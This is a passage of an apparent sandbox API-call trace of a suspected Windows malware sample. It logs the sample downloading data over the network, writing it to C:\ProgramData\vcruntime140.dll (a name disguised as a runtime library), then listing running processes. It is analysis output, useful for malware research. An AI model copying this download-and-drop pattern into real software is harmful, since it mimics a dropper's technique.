lpBuffer=0x2a4c758*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4cb40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4cb40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4cf28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4cf28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.875] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4d310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4d310*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4d6f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4d6f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4dae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4dae0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4dec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4dec8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4e2b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4e2b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.876] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4e698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4e698*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.877] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4ea80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4ea80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.878] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4ee68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4ee68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.878] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4f250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4f250*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.878] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4f638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4f638*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4fa20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4fa20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.879] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a4fe08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a4fe08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.915] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a501f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a501f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.915] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a505d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a505d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.915] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a509c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a509c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a50da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a50da8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a51190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a51190*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a51578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a51578*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a51960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a51960*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.916] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a51d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a51d48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a52130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a52130*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a52518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a52518*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a52900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a52900*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a52ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a52ce8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a530d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a530d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a534b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a534b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a538a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a538a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a53c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a53c88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a54070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a54070*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0046.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a54458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a54458*, lpdwNumberOfBytesRead=0x19f634*=0x310) returned 1 [0046.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2a54768, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2a54768*, lpdwNumberOfBytesRead=0x19f634*=0x0) returned 1 [0046.922] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0 | out: lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0) returned 0 [0046.922] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0046.922] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0046.922] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0046.923] CreateFileA (lpFileName="C:\\ProgramData\\\\vcruntime140.dll" (normalized: "c:\\programdata\\vcruntime140.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0046.923] WriteFile (in: hFile=0x270, lpBuffer=0x2a40020*, nNumberOfBytesToWrite=0x14748, lpNumberOfBytesWritten=0x19f824, lpOverlapped=0x0 | out: lpBuffer=0x2a40020*, lpNumberOfBytesWritten=0x19f824*=0x14748, lpOverlapped=0x0) returned 1 [0046.925] CloseHandle (hObject=0x270) returned 1 [0046.935] CoUninitialize () [0046.935] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0046.940] Process32First (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.940] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x65, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.941] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.942] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.942] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.943] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.943] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.944] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.944] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.945] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.945] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.946] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.946] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.947] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.947] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.948] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.948] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.949] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.950] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.950] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.951] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.951] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0046.952] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.952] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0046.953] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0046.953] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.954] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0046.954] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0046.955] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0046.955] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0046.956] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commands-xerox.exe")) returned 1 [0046.957] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="richard_nice.exe")) returned 1 [0046.957] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oxide.exe")) returned 1 [0046.958] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pumpassuming.exe")) returned 1 [0046.958] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tion_belize.exe")) returned 1 [0046.959] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jackaccepting.exe")) returned 1 [0046.959] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="les_lodging.exe")) returned 1 [0046.960] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hazardsbusiness.exe")) returned 1 [0046.960] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dir needs.exe")) returned 1 [0046.961] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="statements inventory.exe")) returned 1 [0046.961] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay returned.exe")) returned 1 [0046.962] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="them.exe")) returned 1 [0046.962] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entertainment_enable.exe")) returned 1 [0046.963] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wirelessnetherlands.exe")) returned 1 [0046.964] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bulgaria.exe")) returned 1 [0046.964] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hours-extensive.exe")) returned 1 [0046.965] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reallysemiconductor.exe")) returned 1 [0046.965] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="breath_reveal_medicare.exe")) returned 1 [0046.966] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spain_chart_slightly.exe")) returned 1 [0046.966] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.967] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="GlobalHack[RUEUNAVN][17.02.2019] .exe")) returned 1 [0046.967] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0046.968] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0046.968] CloseHandle (hObject=0x270) returned 1 [0046.968] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x270 [0046.972] Process32First (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.973] Process32Next (in: hSnapshot=0x270, lppe=0x19f6d8 | out: lppe=0x19f6d8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x65, 